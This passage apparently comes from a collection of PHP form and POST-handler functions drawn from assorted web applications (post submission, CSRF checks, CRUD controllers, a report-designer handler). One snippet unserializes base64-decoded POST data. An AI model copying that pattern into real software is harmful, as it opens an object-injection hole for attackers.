= wp_insert_post( $post_data, true );\n\n\t\t// If we hit a snag, update the user.\n\t\tif ( is_wp_error( $new_submission_id ) ) {\n\t\t\treturn $cmb->prop( 'submission_error', $new_submission_id );\n\t\t} else {\n\n\t\t\t// Loop through remaining (sanitized) data, and save to post-meta.\n\t\t\tforeach ( $sanitized_values as $key => $value ) {\n\t\t\t\tif ( is_array( $value ) ) {\n\t\t\t\t\t$value = array_filter( $value );\n\t\t\t\t\tif ( ! empty( $value ) ) {\n\t\t\t\t\t\tupdate_post_meta( $new_submission_id, $key, $value );\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tupdate_post_meta( $new_submission_id, $key, $value );\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Remove any previous entry query arguments.\n\t\t\tremove_query_arg( 'entry' );\n\n\t\t\t// Send confirmation email out.\n\t\t\t$confirm_email = $this->send_confirmation( $post_data['post_title'], $sanitized_values );\n\n\t\t\t/**\n\t\t\t * Redirect back to the form page with a query variable with the new post ID.\n\t\t\t * This will help double-submissions with browser refreshes\n\t\t\t */\n\t\t\twp_redirect(\n\t\t\t\tesc_url_raw(\n\t\t\t\t\tadd_query_arg(\n\t\t\t\t\t\tarray(\n\t\t\t\t\t\t\t'entry' => $new_submission_id,\n\t\t\t\t\t\t),\n\t\t\t\t\t\thome_url( '/nominate/confirm/' )\n\t\t\t\t\t)\n\t\t\t\t)\n\t\t\t);\n\t\t\texit;\n\t\t}\n\n\t}", "function processForm(){\n /*Admin page content goes here */\n if( isset($_POST['rssMultiUpdate']) ){\n require \"classes/RssUpdateSingle.php\";\n \n $RssUpdateSingle = new RssUpdateSingle;\n $RssUpdateSingle->updateBlog();\n }\n }", "public function submit()\n {\n if ($_POST['name'] == 'preview') { $this->preview(); }\n elseif ($_POST['name'] == 'create') { $this->save(); }\n }", "function handle_actions() {\n $id = filter_input(INPUT_GET, 'id');\n global $subscribers;\n global $log;\n\n // POST\n $action = filter_input(INPUT_POST, 'action');\n if ($action == 'create') { \n $log->log('Subscriber CREATE'); // CREATE\n $subscribers->add();\n }\n \n\n // GET\n $action = filter_input(INPUT_GET, 'action');\n if (empty($action)) { \n $log->log('Subscriber READ'); // READ\n return $subscribers->list_view();\n }\n if ($action == 'add') {\n $log->log('Subscriber Add View');\n return $subscribers->add_view();\n }\n }", "public function processAction() {\n\n if (!$this->validateRequest()) {\n $this->_helper->viewRenderer->setNoRender(true);\n $this->_helper->layout()->disableLayout();\n return;\n }\n\n $request = $this->getRequest();\n\n // Check if we have a POST request, otherwise, redirect\n if (!$request->isPost()) {\n return $this->_helper->redirector('index');\n }\n //Retrieving the form\n $form = $this->getForm();\n if (!$form->isValid($request->getPost())) {// Invalid entries\n $this->view->message = 'process-authorize';\n $this->view->form = $form;\n return $this->render('index'); // re-render the login form\n }\n\n if ($form->getValue('yes')) {//Resource Owner says yes\n $this->processApprove($form->getValues());\n } else if ($form->getValue(\"no\")) {//Resource Owner says no\n $this->processDeny($form->getValues());\n } else {//unrecognized value\n $this->view->message = 'process-authorize';\n $this->view->form = $form;\n return $this->render('index'); // re-render the login form\n }\n }", "function handlePost()\n {\n // CSRF protection\n $token = $this->trimmed('token');\n if (!$token || $token != common_session_token()) {\n // TRANS: Client error displayed when the session token does not match or is not given.\n $this->showForm(_m('There was a problem with your session token. '.\n 'Try again, please.'));\n return;\n }\n\n if ($this->oprofile) {\n if ($this->arg('submit')) {\n $this->saveFeed();\n return;\n }\n }\n $this->showForm();\n }", "public function post()\n {\n //\n }", "protected function _processPost() {\r\n $this->_currentPage->processPost();\r\n }", "function process_form()\n {\n }", "public function postAction()\n {\n return $this->handleCreateRequest();\n }", "function postProcessSettingsForm($controller)\n {\n }", "public function submit_handler() {\r\n\t\t// Posted Data\r\n\r\n\t\ttry {\r\n\t\t\t// Init fields\r\n\t\t\t$this->init_fields();\r\n\r\n\t\t\t// Get posted values\r\n\t\t\t$values = $this->get_posted_fields();\r\n\t\r\n\t\t\tif ( empty( $_POST['submit_listing'] ) ) {\r\n\t\t\t\treturn;\r\n\t\t\t}\r\n\r\n\t\t\t// Validate required\r\n\t\t\tif ( is_wp_error( ( $return = $this->validate_fields( $values ) ) ) ) {\r\n\t\t\t\tthrow new Exception( $return->get_error_message() );\r\n\t\t\t}\r\n\r\n\r\n\t\t\tif ( ! is_user_logged_in() ) {\r\n\t\t\t\tthrow new Exception( __( 'You must be signed in to post a new listing.', 'listeo_core' ) );\r\n\t\t\t}\r\n\r\n\t\t\r\n\t\t\t$post_title = $values['basic_info']['listing_title'];\r\n\t\t\t$post_content = $values['details']['listing_description'];\r\n\t\t\t$product_id = (isset($values['basic_info']['product_id'])) ? $values['basic_info']['product_id'] : '' ;\r\n\t\t\t\r\n\t\t\t// Add or update listing as a WoCommerce product and save product id to values\r\n\t\t\r\n\t\t\t\t$values['basic_info']['product_id'] = $this -> save_as_product($post_title,$post_content,$product_id);\t\r\n\t\t\r\n\t\t\t\r\n\t\t\t$content = '';\r\n\r\n\t\t\t//locate listing_description\r\n\t\t\tforeach ($values as $section => $s_fields) {\r\n\t\t\t\tforeach ($s_fields as $key => $value) {\r\n\t\t\t\t\tif($key == 'listing_description') {\r\n\t\t\t\t\t\t$content = $value;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\t\r\n\t\t\t}\r\n\t\t\t\r\n\r\n\t\t\t//Update the listing\r\n\t\t\t$this->save_listing( $values['basic_info']['listing_title'], $content, $this->listing_id ? '' : 'preview', $values );\r\n\t\t\t\r\n\r\n\t\t\t$this->update_listing_data( $values );\r\n\r\n\t\t\t// Successful, show next step\r\n\t\t\t$this->step++;\r\n\r\n\r\n\t\t} catch ( Exception $e ) {\r\n\r\n\t\t\t$this->add_error( $e->getMessage() );\r\n\t\t\treturn;\r\n\t\t}\r\n\t}", "function submit() {\n\t\t\n\t\t//print_r($_POST);\n\t\t//die();\n\n\n \tglobal $searchArgList;\n \t\n \tif($this->input->post('searchQuery')) { // this is a quick search\n\n \t\tredirect(\"/search/quickSearch/\".$this->input->post('searchQuery'));\n \t\n \t\n \t} else if($this->input->post('opmid')) { // redirect to OPM ID\n\n \t\t\n \t\tredirect(\"/products/view/\".$this->input->post('opmid'));\n \t\n \t\n \t} else {\n \t \t\n \n\t\t\tforeach ($searchArgList as $key=>$data) {\n\t\t\t\t\n\t\t\t\tif ($this->input->post($data))\n\t\t\t\t\t$segments[$data] = $this->input->post($data);\n\t\t\t\telse\n\t\t\t\t\t$segments[$data] = 0;\t\n\t\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\tif ($this->input->post('isWholesaleSearch')) {\n\t\t\t\n\t\t\t\t$url = \"/search/doWSSearch/\";\n\t\t\t\t\n\t\t\t} else {\n\t\t\t\t\n\t\t\t\t$url = \"/search/doSearch/\";\n\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\tforeach ($segments as $data)\n\t\t\t\t$url .= $data . \"/\";\n\t\t\t\t\n\t\t\t\n\t\t\tredirect($url);\n\t\t\t\n\t\t}\n \n }", "protected function Form_Run() {}", "public function inputPost(){\n\n \tpostInput::create(request([\n\t\t 'title',\n\t\t 'content',\n \t\t]));\n\n \t// Redirect to schedule\n \treturn redirect('index');\n }", "private function handlePostRequest() {\n $this->store();\n }", "public function postAction()\n {\n if ($this->_isAdmin){\n \n // Work out the type of action they want to perform\n switch($_POST['operation']){\n case 'update':\n $data = $this->_contentTypesModel->updateContentType(unserialize(base64_decode($_POST['data'])), $_POST['argOne']);\n break;\n case 'add':\n $data = $this->_contentTypesModel->addContentType(unserialize(base64_decode($_POST['data'])));\n break;\n case 'remove':\n $data = $this->_contentTypesModel->removeContentType(unserialize(base64_decode($_POST['data'])));\n break;\n default:\n $data = 'Operation not found';\n break;\n }\n \n $this->returnPostResult($data);\n \n }else{\n $this->returnNoAuth();\n }\n\n }", "public function process_post() {\n\t\t$name = $this->node->attr('name');\n\n\n\t\tif (!empty($_POST) && $this->get_post_value($name)) {\n//\t\t\t$this->value = $this->get_post_value($name);\n\t\t\t$this->value($this->get_post_value($name));\n\t\t}\n\t}", "public function handle($postData){\r\n\t\t\r\n\t}", "public function indexAction() {\n $this->formAction();\n }", "public function indexAction() {\n $this->formAction();\n }", "public function formHandler()\n {\n $_SESSION['title'] = \"Caiman: Dashboard\";\n $this->allowAccessTo(array(1, 3));\n\n $oldPassword = null;\n $newPasswordRepeat = null;\n $newPassword = null;\n\n if (isset($_GET['e'])) {\n $this->e = filter_input(INPUT_GET, 'e', FILTER_SANITIZE_SPECIAL_CHARS);\n }\n // form update\n if ($this->e == \"updatePassword\") {\n $_SESSION['title'] = \"Caiman: Update password\";\n if (isset($_POST['oldPassword'])) {\n $oldPassword = filter_input(INPUT_POST, 'oldPassword', FILTER_SANITIZE_STRING);\n }\n if (isset($_POST['newPassword'])) {\n $newPassword = filter_input(INPUT_POST, 'newPassword', FILTER_SANITIZE_STRING);\n }\n if (isset($_POST['newPasswordRepeat'])) {\n $newPasswordRepeat = filter_input(INPUT_POST, 'newPasswordRepeat', FILTER_SANITIZE_STRING);\n }\n\n if (isset($oldPassword) && isset($newPassword) && isset($newPasswordRepeat)) {\n $_SESSION['user']->updatePassword($newPassword, $newPasswordRepeat, $oldPassword);\n }\n }\n\n // update if account if visible or not\n if ($this->e == \"updatePrivateAccount\") {\n\n if ($_SESSION['user']->idUser != -1) {\n $_SESSION['user']->updatePrivateAccount();\n header('Location:' . $_SERVER['HTTP_REFERER']);\n }\n }\n }", "abstract public function postAction(Event $event): void;", "public function processform($args=null) {\n\n foreach ($_POST as $k => $v) {\n if (!$_POST[$k]) {\n return $this->index('wypełnij wszystkie pola');\n }\n }\n\n\n $this->postData = $this->sanitizePost($_POST);\n unset($_POST);\n\n $_SESSION['app_identifier'] = $app_identifier = date(\"Y-m-d\", time()) . '/' . time() . '/' . rand();\n\n $this->newApplication = Application::create(\n array('app_identifier' => $app_identifier,\n 'app_code' => $this->postData['doccode'],\n 'app_serialized' => serialize($this->postData))\n );\n\n $_SESSION['postCheck'] = true;\n\n header(\"Location: \" . BASE_URL.'addapp');\n }", "public function process()\n\t{\n\t\t$action = $this->getAction();\n\t\tswitch (strtolower($action))\n\t\t{\n\t\t\tcase 'get':\n\t\t\tcase 'put':\n\t\t\tcase 'post':\n\t\t\tcase 'delete':\n\t\t}\t\n\t}", "public function indexAction() \r\n\t{\r\n\t\t// render the form\r\n\t\t$this->view->form = $this->_getForm();\r\n\t\t\r\n\t\t// add csrf token\r\n\t\t$csrf = new Omeka_Form_SessionCsrf;\r\n\t\t$this->view->csrf = $csrf;\r\n\t\t\r\n\t\t// process the form, save the values if the user submitted it\r\n\t\t$this->_processPageForm($csrf);\r\n\t\t\r\n\t\tif ($this->getRequest()->isPost()) { // if the form was submitted, we want to render it again after it is saved\r\n\t\t\t$this->view->form = $this->_getForm();\r\n\t\t}\r\n\t}", "private function cadastrar()\n {\n /**\n * Verifica se o formulario enviou via POST\n */\n if($_SERVER['REQUEST_METHOD'] == 'POST')\n {\n //Solicita o cadastro dos dados\n $this->Delegator('ConcreteCadastro', 'cadastrar', $this->getPost());\n }\n }", "function _post()\r\n\t\t{\r\n\t\t}", "public function handleSubmit()\n {\n // process: just display the form.\n if ((!empty($_POST[\"fromHome\"])) ||\n (!empty($_POST[\"fromStaffHomePage\"]))) {\n $this->fromHomePage = true;\n }\n if ($this->fromHomePage) {\n return;\n }\n\n // Clear camper ID from the session, in case multiple campers are\n // being added in the same browser.\n unset($_SESSION[\"camper_id\"]);\n\n // Check for submitted values. Fire an error if required inputs\n // are missing, and grab defaults if applicable.\n foreach ($this->columns as $col) {\n $val = test_input($_POST[$col->name]);\n if ($val === null) {\n if ($col->required) {\n $this->colName2Error[$col->name] = errorString(\"Missing value for required field\");\n continue;\n }\n if (!is_null($col->defaultValue)) {\n $val = $col->defaultValue;\n } else {\n continue;\n }\n }\n $this->col2Val[$col->name] = $val;\n }\n if (!empty($this->colName2Error)) {\n // If we hit any errors, stop here and display, so the user\n // can correct them.\n return;\n }\n\n // Check to see if this camper registration is a duplicate, which\n // we define as having the same first and last name, and edah. If\n // a dup is detected, display an overlay that lets the user either\n // continue to the edit-camper page, with the ID set to the existing\n // camper ID, or else lets them start the add form again, with the\n // fields cleared.\n $db = new DbConn();\n $db->isSelect = true;\n $db->addColVal($this->col2Val[\"first\"], 's');\n $db->addColVal($this->col2Val[\"last\"], 's');\n $db->addColVal($this->col2Val[\"edah_id\"], 'i');\n $sql = \"SELECT c.camper_id camper_id, e.name edah_name FROM campers c, edot e WHERE c.edah_id = e.edah_id AND \" .\n \"c.first = ? AND c.last = ? AND c.edah_id = ?\";\n $result = $db->doQuery($sql, $err);\n if (($result !== false) && ($result->num_rows > 0)) {\n // If the query succeeded and returned one or more rows, then\n // we've found a duplicate.\n $row = mysqli_fetch_assoc($result);\n $this->duplicateCamperDesc = $this->col2Val[\"first\"] . \" \" . $this->col2Val[\"last\"] . \" in \" . $row[\"edah_name\"];\n return;\n }\n\n // At this point, we have valid new-camper data. Set all our\n // column data in the SESSION hash, so that ajax methods can pick it\n // up.\n foreach ($this->col2Val as $colName => $colVal) {\n $_SESSION[$colName] = $colVal;\n }\n\n // Go to the choice-ranking page.\n $rankChoicesUrl = urlIfy(\"rankCamperChoices.html\");\n echo (\"<script type=\\\"text/javascript\\\">window.location.replace(\\\"$rankChoicesUrl\\\");</script>\");\n exit();\n }", "public function valiteForm();", "protected function OnSubmit()\n {\n //tu codigo aqui\n }", "protected function onSubmit()\r {\r }", "public function handleUserEntry()\n {\n $sessionClass = ReporticoSession();\n\n // First look for a parameter beginning \"submit_\". This will identify\n // What the user wanted to do.\n\n $hide_area = false;\n $show_area = false;\n $maintain_sql = false;\n $xmlsavefile = false;\n $xmldeletefile = false;\n if (($k = $this->getMatchingPostItem(\"/^submit_/\"))) {\n // Strip off \"_submit\"\n preg_match(\"/^submit_(.*)/\", $k, $match);\n\n // Now we should be left with a field element and an action\n // Lets strip the two\n $match1 = preg_split('/_/', $match[0]);\n $fld = $match1[1];\n $action = $match1[2];\n\n switch ($action) {\n case \"ADD\":\n // We have chosen to set a block of data so pass through Request set and see which\n // fields belong to this set and take appropriate action\n $this->addMaintainFields($fld);\n $show_area = $fld;\n break;\n\n case \"DELETE\":\n // We have chosen to set a block of data so pass through Request set and see which\n // fields belong to this set and take appropriate action\n $this->deleteMaintainFields($fld);\n $show_area = $fld;\n break;\n\n case \"MOVEUP\":\n // We have chosen to set a block of data so pass through Request set and see which\n // fields belong to this set and take appropriate action\n $this->moveupMaintainFields($fld);\n $show_area = $fld;\n break;\n\n case \"MOVEDOWN\":\n // We have chosen to set a block of data so pass through Request set and see which\n // fields belong to this set and take appropriate action\n $this->movedownMaintainFields($fld);\n $show_area = $fld;\n break;\n\n case \"SET\":\n // We have chosen to set a block of data so pass through Request set and see which\n // fields belong to this set and take appropriate action\n $this->updateMaintainFields($fld);\n $show_area = $fld;\n break;\n\n case \"REPORTLINK\":\n case \"REPORTLINKITEM\":\n // Link in an item from another report\n $this->linkInReportFields(\"link\", $fld, $action);\n $show_area = $fld;\n break;\n\n case \"REPORTIMPORT\":\n case \"REPORTIMPORTITEM\":\n // Link in an item from another report\n $this->linkInReportFields(\"import\", $fld, $action);\n $show_area = $fld;\n break;\n\n case \"SAVE\":\n $xmlsavefile = $this->query->xmloutfile;\n if (!$xmlsavefile) {\n trigger_error(ReporticoLang::templateXlate(\"UNABLE_TO_SAVE\") . ReporticoLang::templateXlate(\"SPECIFYXML\"), E_USER_ERROR);\n }\n\n break;\n\n case \"PREPARESAVE\":\n $xmlsavefile = $this->query->xmloutfile;\n $sessionClass::setReporticoSessionParam(\"execute_mode\", \"PREPARE\");\n\n if (!$xmlsavefile) {\n header(\"HTTP/1.0 404 Not Found\", true);\n echo '<div class=\"reportico-error-box\">' . ReporticoLang::templateXlate(\"UNABLE_TO_SAVE\") . ReporticoLang::templateXlate(\"SPECIFYXML\") . \"</div>\";\n die;\n }\n\n break;\n\n case \"DELETEREPORT\":\n $xmldeletefile = $this->query->xmloutfile;\n break;\n\n case \"HIDE\":\n $hide_area = $fld;\n break;\n\n case \"SHOW\":\n $show_area = $fld;\n break;\n\n case \"SQL\":\n $show_area = $fld;\n if ($fld == \"mainquerqury\") {\n // Main Query SQL Generation.\n $sql = stripslashes($_REQUEST[\"mainquerqury_SQL\"]);\n\n $maintain_sql = $sql;\n if (Authenticator::login()) {\n $p = new SqlParser($sql);\n if ($p->parse()) {\n $p->importIntoQuery($qr);\n if ($this->query->datasource->connect()) {\n $p->testQuery($this->query, $sql);\n }\n\n }\n }\n } else {\n // It's a lookup\n if (preg_match(\"/mainquercrit(.*)qury/\", $fld, $match1)) {\n $lookup = (int) $match1[1];\n $lookup_char = $match1[1];\n\n // Access the relevant crtieria item ..\n $qc = false;\n $ak = array_keys($this->query->lookup_queries);\n if (array_key_exists($lookup, $ak)) {\n $q = $this->query->lookup_queries[$ak[$lookup]]->lookup_query;\n } else {\n $q = new Reportico();\n }\n\n // Parse the entered SQL\n $sqlparm = $fld . \"_SQL\";\n $sql = $_REQUEST[$sqlparm];\n $q->maintain_sql = $sql;\n $q = new Reportico();\n $p = new SqlParser($sql);\n if ($p->parse()) {\n if ($p->testQuery($this->query, $sql)) {\n $p->importIntoQuery($q);\n $this->query->setCriteriaLookup($ak[$lookup], $q, \"WHAT\", \"NOW\");\n }\n }\n }\n }\n\n break;\n\n }\n }\n\n // Now work out what the maintainance screen should be showing by analysing\n // whether user pressed a SHOW button a HIDE button or keeps a maintenance item\n // show by presence of a shown value\n if (!$show_area) {\n // User has not pressed SHOW_ button - this would have been picked up in previous submit\n // So look for longest shown item - this will allow us to draw the maintenace screen with\n // the correct item maximised\n foreach ($_REQUEST as $k => $req) {\n if (preg_match(\"/^shown_(.*)/\", $k, $match)) {\n $containee = \"/^\" . $hide_area . \"/\";\n $container = $match[1];\n if (!preg_match($containee, $container)) {\n if (strlen($match[1]) > strlen($show_area)) {\n $show_area = $match[1];\n }\n }\n }\n }\n\n }\n\n if (!$show_area) {\n $show_area = \"mainquer\";\n }\n\n $xmlout = new XmlWriter($this->query);\n $xmlout->prepareXmlData();\n\n // If Save option has been used then write data to the named file and\n // use this file as the defalt input for future queries\n if ($xmlsavefile) {\n if ($this->query->allow_maintain != \"SAFE\" && $this->query->allow_maintain != \"DEMO\" && ReporticoApp::getConfig('allow_maintain')) {\n $xmlout->writeFile($xmlsavefile);\n $sessionClass::setReporticoSessionParam(\"xmlin\", $xmlsavefile);\n $sessionClass::unsetReporticoSessionParam(\"xmlintext\");\n } else {\n trigger_error(ReporticoLang::templateXlate(\"SAFENOSAVE\"), E_USER_ERROR);\n }\n\n }\n\n // If Delete Report option has been used then remove the file\n // use this file as the defalt input for future queries\n if ($xmldeletefile) {\n if ($this->query->allow_maintain != \"SAFE\" && $this->query->allow_maintain != \"DEMO\" && ReporticoApp::getConfig('allow_maintain')) {\n $xmlout->removeFile($xmldeletefile);\n $sessionClass::setReporticoSessionParam(\"xmlin\", false);\n $sessionClass::unsetReporticoSessionParam(\"xmlintext\");\n } else {\n trigger_error(ReporticoLang::templateXlate(\"SAFENODEL\"), E_USER_ERROR);\n }\n\n }\n\n $xml = $xmlout->getXmldata();\n $this->query->xmlintext = $xml;\n\n $this->query->xmlin = new XmlReader($this->query, false, $xml);\n $this->query->xmlin->show_area = $show_area;\n $this->query->maintain_sql = false;\n }", "public function submit()\n {\n $uriParam = isset($_SERVER[\"REQUEST_URI\"]) ? $_SERVER[\"REQUEST_URI\"] : '/';\n // loop through each uri and find the one that matches the route\n foreach($this->_uri as $key => $value)\n {\n if(preg_match(\"#^$value$#\", $uriParam))\n {\n $useMethod = $this->_method[$key];\n new $useMethod();\n }\n }\n }", "function form_action()\r\n {\r\n $success = true ;\r\n\r\n $sdifqueue = new SDIFResultsQueue() ;\r\n $cnt = $sdifqueue->ProcessQueue() ;\r\n\r\n $c = container() ;\r\n $msgs = $sdifqueue->get_status_message() ;\r\n\r\n foreach ($msgs as $msg)\r\n $c->add(html_div(sprintf('ft-%s-msg', $msg['severity']), $msg['msg'])) ;\r\n $c->add(html_div('ft-note-msg',\r\n sprintf(\"%d record%s processed from SDIF Queue.\",\r\n $cnt, $cnt == 1 ? \"\" : \"s\"))) ;\r\n\r\n $this->set_action_message($c) ;\r\n\r\n unset($sdifqueue) ;\r\n\r\n return $success ;\r\n }", "public function post_edit_submit() {\n\n $slug = in('slug'); // forum id ( slug ). It is only available on creating a new post.\n $post_ID = in('post_ID'); // post id. it is only available on updating a post.\n $title = in('title');\n $content = in('content');\n\n if ( empty( $slug ) && empty( $post_ID ) ) ferror(-50044, 'slug ( category_slug ) or post_ID are not provided');\n if ( ! $title ) ferror(-50045, 'post title is not provided');\n if ( ! $content ) ferror(-50046,'post content is not provided');\n $user_ID = $this->get_post_author();\n if ( empty($user_ID) ) ferror( -50047, \"login first\");\n\n if ( $post_ID ) { // update\n forum()->endIfNotMyPost( $post_ID );\n $this->setCategoryByPostID( $post_ID );\n }\n else { // new\n $this->setCategory( $slug );\n }\n $post = post()\n ->set('post_category', [ forum()->getCategory()->term_id ])\n ->set('post_title', $title)\n ->set('post_content', $content)\n ->set('post_status', 'publish');\n\n if ( $post_ID ) { // update\n $post_ID = $post\n ->set('ID', $post_ID)\n ->update();\n }\n else { // new\n $post_ID = $post\n ->set('post_author', $user_ID)\n ->create();\n }\n if ( ! is_integer($post_ID) ) ferror( -50048, \"Failed on post_create() : $post_ID\");\n\n\n // file upload\n preg_match_all(\"/http.*\\/data\\/upload\\/[^\\/]*\\/[^\\/]\\/[^'\\\"]*/\", $content, $ms);\n $files = $ms[0];\n // save uploaded files\n post()->meta( $post_ID, 'files', $files );\n\n\n // Save All extra input into post meta.\n post()->saveAllMeta( $post_ID );\n\n $this->response( [ 'slug' => forum()->getCategory()->slug, 'post_ID' => $post_ID ] );\n }", "public function submitPage() {}", "function post() \n {\n \n }", "function process() {\n // We always call the parent's method\n parent::process();\n $d = $this->getDocument();\n \n // We pass the form our request object and the location of us so the form\n // will make us handle the input (as actually we take care of processing\n // this form) - it could link to any other action as long as it is aware\n // of the form\n $form = new Form($this->getRequest(), new Location($this), Request::METHOD_POST);\n \n // This is how you prepare values for the radio buttons\n $radios = array('visa', 'master');\n \n // This is how we prepare the fields\n $form->addField('text1', new TextInputField('Your name here please', \n new RegexValidator('^[[:alpha:]]+[[:space:]][[:alpha:]]+$')));\n $form->addField('pass1', \n new TextInputField('', new RegexValidator('^[[:digit:]]{16}$'), TextInputField::PASSWORD));\n $form->addField('text2', new TextInputField('', null, TextInputField::TEXTAREA));\n $form->addField('check1', new CheckBoxInputField());\n $form->addField('payment', new RadioButtonInputField('visa', $radios));\n \n // Here we test if the form was correctly submitted\n if($form->isValidSubmission()) {\n // Normally, we would do something useful here and redirect to another page\n // since this form uses the POST method\n $d->setVariable('success', true);\n }\n \n // Here we place the form into the document variable so it can process it\n $d->setVariable('form', $form);\n }", "protected function run()\n {\n $pid = $this->request->get('id');\n $this->post = Post::with('author', 'topic')->findOrFail($pid);\n\n $this->onErrorRedirectTo(new Request('post_edit', ['id' => $this->post->id]));\n\n $creator = User::current();\n $this->post->fill([\n 'message'\t=> $this->request->get('req_message'),\n 'edited' => Carbon::now(),\n 'edited_by' => $creator->username,\n ]);\n\n $this->validator->validate($this->post);\n\n $this->post->save();\n $this->trigger('post.edited', [$this->post, $creator]);\n\n $this->redirectTo(\n new Request('viewpost', ['id' => $this->post->id]),\n trans('fluxbb::post.edit_redirect')\n );\n }", "protected function processPost() {\n\t\tif (isset($_POST['posted'])) {\n\t\t\t$this->is_save_request = TRUE;\n\t\t\tunset($_POST['posted']);\n\t\t}\n\n\t\t// process the remaining post vars\n\t\tif (0) deb(\"Survey1: processPost: POST = \", $_POST);\n\t\tforeach($_POST as $job_id=>$offer) {\n\t\t\tif ($job_id == 'username') {\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\t\n\t\t\t$job_name = get_job_name($job_id);\n\t\t\t// All offers except positive integers are treated as 0, meaning \"I don't want to do this job\"\n\t\t\tif ($offer == NULL || $offer < 0 || !is_numeric($offer)) $offer = 0;\n\t\t\tif (is_float($offer)) $offer = round($is_offer);\n\t\t\tif (0) deb(\"Survey1: processPost: job_name = offer: \", $job_name.\" = \".$offer);\n\t\t\t$this->results[$job_id] = $offer;\n\t\t}\n\t\tif (0) deb(\"Survey1: processPost: Results:\", $this->results);\n\t}", "public function defaultAction()\n {\n if (s('post')->exist('short')) {\n return $this->action('result');\n } else {\n return $this->action('form');\n }\n }", "public function process()\n\t{\n\t\tif(isset($_POST[$this->input_name()])) {\n\t\t\t$this->value = $_POST[$this->input_name()];\n\t\t}\n\t\telse {\n\t\t\t$this->value = false;\n\t\t}\n\t}", "function handlePOSTRequest() {\n if (array_key_exists('submitProjectionRequest', $_POST)) {\n handleProjectionRequest();\n }\n }", "function submit()\n {\n\t\t//all data is handled by submit2()\n }", "public function p_add() {\n\n\t\t# Setup view\n\t\t$this->template->content = View::instance('v_posts_posted');\n\t\t$this->template->title = \"Post Added\";\n\n\t\tforeach($_POST as $key => $value){\n\n\t\t\tif((empty($value)) || (!$value) || (trim($value) == \"\") ){\n\t\t\t\t# Send them back to the login page\n\t\t\t\tRouter::redirect(\"/posts/add/error\");\n\t\t\t}\n\t\t}\n\t\t\n\t\t# Associate this post with this user\n\t\t$_POST['user_id'] = $this->user->user_id;\n\n\t\t# Unix timestamp of when this post was created / modified\n\t\t$_POST['created'] = Time::now();\n\t\t$_POST['modified'] = Time::now();\n\n\t\t# Insert\n\t\t# Insert Method Sanitizes\n\t\tDB::instance(DB_NAME)->insert('posts', $_POST);\n\n\t\t# Render template\n\t\techo $this->template;\n\n\t}", "public function on_after_submit() {\n\t\t\n\t\t/*\n\t\t$post = array();\n\t\t$post['cm-name'] = $this->controller->questionAnswerPairs['1']['answer'].' '.$this->controller->questionAnswerPairs['2']['answer'];\n\t\t$post['cm-itutkr-itutkr'] = $this->controller->questionAnswerPairs['3']['answer'];\n\t\t\t\t\t\n\t\t$ch = curl_init();\n\t\tcurl_setopt($ch, CURLOPT_VERBOSE, 0);\n\t\tcurl_setopt($ch, CURLOPT_URL, 'http://url.to.my.campaignmonitor/myform');\n\t\t//Don't ask me what this does, I just know that without this funny header, the whole thing doesn't work!\n\t\tcurl_setopt($ch, CURLOPT_HTTPHEADER,array('Expect:'));\n\t\tcurl_setopt($ch, CURLOPT_RETURNTRANSFER,1);\n\t\tcurl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);\n\t\tcurl_setopt($ch, CURLOPT_POST, 1 );\n\t\t\n\t\tcurl_setopt($ch, CURLOPT_POSTFIELDS, $post );\n\t\t\n\t\t$url = curl_exec( $ch );\n\t\tcurl_close ($ch);\n\t\t*/\n\t}", "public function handleRequest() {\n\t\t\n\t\tif (is_null($this->itemObj)) {\n\t\t\t$this->itemObj = MovieServices::getVcdByID($this->getParam('vcd_id'));\n\t\t}\n\t\t\n\t\t$action = $this->getParam('action');\n\t\t\n\t\tswitch ($action) {\n\t\t\tcase 'upload':\n\t\t\t\t$this->uploadImages();\n\t\t\t\t// reload and close upon success\n\t\t\t\tredirect('?page=addscreens&vcd_id='.$this->itemObj->getID().'&close=true');\n\t\t\t\tbreak;\n\t\t\t\t\n\t\t\tcase 'fetch':\n\t\t\t\t$this->fetchImages();\n\t\t\t\t// reload and close upon success\n\t\t\t\tredirect('?page=addscreens&vcd_id='.$this->itemObj->getID().'&close=true');\n\t\t\t\tbreak;\n\t\t\n\t\t\tdefault:\n\t\t\t\tredirect();\n\t\t\t\tbreak;\n\t\t}\n\t}", "public function postDispatch();", "public function process_post($type, $id = null){\n\t\t$action = $_POST['action'];\n\t\t\n\t\tif($action == 'cancel'){\n\t\t\turl::redirect($this->section_url);\n\t\t}\n\t\t\n\t\tif($action == 'delete'){\n\t\t\tif(Auth::instance()->logged_in('admin')){\n\t\t\t\tif($this->model->update(array($this->model->db_column_prefix.'status' => 0,$this->model->db_column_prefix.'deleted' => 1,$this->model->db_column_prefix.'deleted_date' => date('Y-m-d H:i:s')))){\n\t\t\t\t\t$this->session->set('alert',array('type' => 'success', 'message' => 'Entry deleted'));\n\t\t\t\t} else {\n\t\t\t\t\t$this->session->set('alert',array('type' => 'danger', 'message' => 'Something went wrong'));\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t$this->session->set('alert',array('type' => 'danger', 'message' => 'Sorry, you don\\'t have permission to do that.'));\n\t\t\t}\n\t\t\t\n\t\t\turl::redirect($this->section_url);\n\t\t}\n\t\t\n\t\t$fields = $this->model->fields();\n\t\t\n\t\t// Remove default field values\n\t\tforeach ($fields as $key => $field){\n\t\t\tif (isset($_POST[$key]) && $field['type'] != 'select' && $field['type'] != 'radio' && $field['type'] != 'checkbox' && $_POST[$key] == $field['value']) {\n\t\t\t\t$_POST[$key] = '';\n\t\t\t}\n\t\t}\n\t\t\n\t\t$validation = $this->model->validation();\n\t \n\t if ($validation->validate()){\n\t \t// Pull out fields we want from POST.\n\t\t\t$data = $this->model->map_post($this->input->post());\n\n\t\t\t// Format data/fields \n\t\t\t$this->model->process_fields($data);\n\t\t\t\n\t // Add or Edit\n\t if($type == 'add'){\n\t $id = $this->model->insert($data);\n\t } elseif($type == 'edit') {\n\t $this->model->update($data);\n\t }\n\t\t\t\n\t\t\t// Process files\n\t\t\t$this->process_uploaded_files($id);\n\t \n\t // Audit trace\n\t $this->audit_record('edit',$this->section_url,$id,$data);\n\t \n\t // Handle redirect and success message\n\t if($action == 'save'){\n\t $this->session->set('alert',array('type' => 'success', 'message' => 